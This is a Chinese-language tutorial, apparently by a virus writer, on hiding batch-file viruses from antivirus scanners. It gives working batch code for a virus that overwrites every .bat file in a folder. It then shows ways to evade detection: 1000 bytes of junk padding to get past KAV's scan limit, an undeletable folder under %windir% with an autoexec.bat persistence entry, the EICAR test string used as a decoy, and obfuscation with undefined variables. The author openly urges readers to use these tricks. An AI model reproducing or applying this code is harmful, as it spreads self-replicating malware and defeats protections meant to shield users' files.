当我在写一个bat蠕虫的时候我发现了一个对bat病毒来说非常有用的技术,比如用在加密或多态性.我也
发现了一些其他技术,而且这些技术是反ava技术的.好了,让我们开始吧...
索引
我敢保证,以下我所说的技术都是你们想知道的,下面是内容的简略部分 :)
1.加入欺骗代码
2.让文件夹无法删除
3.加入EICAR测试文件
4.代码中的垃圾伪代码
加入欺骗代码
这是一个反kav杀毒的技术.或许你知道,kav只检查bat文件的前1000 Byte,那么大家想想,这对我们来说
意味着什么呢?:)我们可以在bat病毒文件前加入1000 Byte的垃圾代码.下面是一段只在当前文件夹内覆
盖bat文件的病毒代码,kav称之为'BAT.Silly.d'.
BAT.Silly.d
for %%a in (*.bat) do copy %0 %%a
现在让我们来测试一下新技术.在一个bat文件中包含1000 Btye的垃圾代码不会影响到bat文件的正常运
行,因为bat文件忽略简单的输入错误,下面的代码中就包含了随机的小写字母.同样也可以包括大写字母
等其他的一些字符,但是必须要注意的是不能包含'<'或'>'这样的字符,因为这样的话,计算机会认为你要
输入或输出字符,到计算机终端设备.
Fake Bytes
stjrdnfuqlgmpuwefguowyakzxgkxolraxozihswcfngwkpaolmmyfrzmsxbcnvrmwrtnjpwybshmhxjtimvzwjuoakncjwynilyp zciptpriqzrfqkqwgfiqpivuityndlqmlivmdtkjuynjdxzmpjedfjacsqgybiwcamxxxwolzzkprquufavkqfdyuqjcxvpizrakx pdmogwizgfrjhvxrmeewywmknxbqbthypeksxmywlfaijracwftfsflicvgfwqzsnrductwbvvtkkzerzgpcbzkngktcdfybzsnby emlcctvneufmhnvfsutoqnldznssinuqigrxbzyxwfmblnqhxztsokqyldnimzgjsmqwshasowgjrmwldkikgjwuffflhwugwrbqd qhbueiaahtvwmhfrhntudpvscpkiftyiwceboltowopsojwxbuarilavnacqlljixreykldgdqxdckayqztleotrbijiwzpesheyd cweyfyrldgvwkcocrqfqtlxuchxdhkpddokhpvxcihqshgqnpjoeqlxspcncyzlvkywzbtijvuiazhevcorognwzgscmmcappqrzw vmtjkatslrkzxrrwxiawspgfvwwphueigwostqtuwrsabmlsrugeudglkmadpimsdbhsmhzlqtcaqftezwbaqrlkzjnzdhvhrpgbi ajbakariwolazvdwhskrdsyqqcjayyqwusubevwumtwysahdzxtqhausneeistduraaaozircfrxqaidvarbiwibwzbtjajurezzd wvqswebffznuymcvqhitlgknfdlwbzdlxfikprozaaxynlxhtmcflbnptelhpgpymekdijonvhyiswpgprdhxtffzimxrdofzonaz qficniylakfqrazsqqviidufwfuwcialsryemswoekufgliuyybgzdydtqfmqnfqwdxmztbzqultebjbahjcadmibazhxsqljsslv cqqqtsqfndkcwihitiscoqqsphuooymtkolmjdielrslulfpqodcitauueorvbyohxhmwgfwozxkggipmgpkoutzykratrhamqbxj
for %%a in (*.bat) do copy %0 %%a
上面的代码看起来是那么的愚蠢:).但是运行的时候kav是不会显示任何警告和提示的.我想你一定非常喜
欢这项技术.
让文件夹无法删除
这项技术看起来比较酷.其实他的原理是利用了windows系统的一个小bug.假如我们在MS-DOS下创建一个
包含特殊字符的文件夹,那么在windows下将无法确认这个新建的文件夹,随之而来的便是你无法删除,移
动或者打开他.下面我们列出所有的这些特殊字符的ASCII码.
Letter List
ASCII 176: °
ASCII 177: ±
ASCII 178: ²
ASCII 179: ³
ASCII 180: ′
ASCII 185: ¹
ASCII 186: o
ASCII 187: ?
ASCII 188: ¼
ASCII 191: ?
ASCII 192: à
ASCII 193: á
ASCII 194: ?
ASCII 195: ?
ASCII 196: ?
ASCII 197: ?
ASCII 200: è
ASCII 201: é
ASCII 202: ê
ASCII 203: ?
ASCII 204: ì
ASCII 205: í
ASCII 206: ?
ASCII 213: ?
ASCII 217: ù
ASCII 218: ú
ASCII 219: ?
ASCII 220: ü
ASCII 223: ?
ASCII 242: ò
ok,上面就是那些特殊字符的ASCII码了,现在我们在%windir%中制作一个样本文件夹让他无法删除.在windows98的系统中,我们还可以在autoexec.bat中添加语句,让bat文件可以随机启动.
Letter List example
cls
@echo off
cd %windir%
md o′üòì
cd o′üòì
copy %0 virus.bat
echo cd %windir% >>autoexec.bat
echo cd o′üòì >>autoexec.bat
echo virus.bat >>autoexec.bat
我敢肯定你一定能看懂上面的代码,在这里要感谢'Trojan.BAT.NoDelDir'的作者.但是我却不知道他的真名叫什么,如果你在这里看到的话,请联系我本人.
加入EICAR测试文件
我想每个人都应该知道EICAR病毒测试文件是什么东西,如果不知道也没关系,我将给你解释一下,他是来自EICAR的一个com文件(有兴趣的朋友可以到http://www.eicar.org/anti_virus_test_file.htm去看看),他是用来测试反病毒软件的杀毒能力的一个测试文件.那我们应该怎么利用它呢?事实上几乎每个人都知道这个文件,反病毒软件的提示并不会引起人们的注意,利用这点,我们将EICAR测试文件的代码加到我们的病毒程序中,这样的话就不会引起用户的警觉.下面是EICAR测试文件的内容:
EICAR-content
[email=X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*[code]X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*[code[/email]]
这项技术原理等同于欺骗代码技术.但是他包含了非常有用的内容:EICAR-content.这样的话欺骗代码中包含的同样是被反病毒程序所识别的'病毒'文件,反病毒软件提示的就不是'BAT.Silly.d'而是'EICAR-Test-File',同样是起到了欺骗的作用.
EICAR-content example
[code]X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
for %%a in (*.bat) do copy %0 %%a
代码中的垃圾伪代码
题目看起来有点郁闷,什么叫'垃圾伪代码'呢?就是写在有效代码中间,但是运行的时候无任何作用的代码.听完上述的讲解你首先会想到什么命令来实现这一功能呢?'set'命令?那么你已经在理解我的意思了,ok,没定义过的变量是空的(=nothing),那么在运行的时候变量也是没有任何用处的.这样我们就解决了我们的问题了:),下面来看看被kav提示为'BAT.Silly.d'的傻瓜式病毒代码.
%anyting%fo%anyting%r %%a i%anyting%n (%anyting%*.ba%anyting%t) d%anyting%o co%anyting%py %0 %%a
正如你所看到的,上面的代码非常容易实现.但是却相当有用.注意:你必须保证你所用的变量没有被定义过,否则病毒是不能运行的.如果你不确定变量是否为空的,那你最好在文件开头加上一句'set anthing='将变量清空.
最后
开开反病毒软件的玩笑,这项技术真的很有用或加密一些东西或者其他的某些应用.那么反病毒程序真的有大麻烦了.现在我的唯一希望是你们能在你们的工作中真正的用上这项技术(或者其中的一些:D),因为我花了很多时间在发现这项技术,寻找错误和更好的应用它上面.而且检查了其他的系统是否也能够应用这项技术,然后又花了很长时间写了出来,OK, in the end I want to say sorry about my english spelling or grammer mistakes :).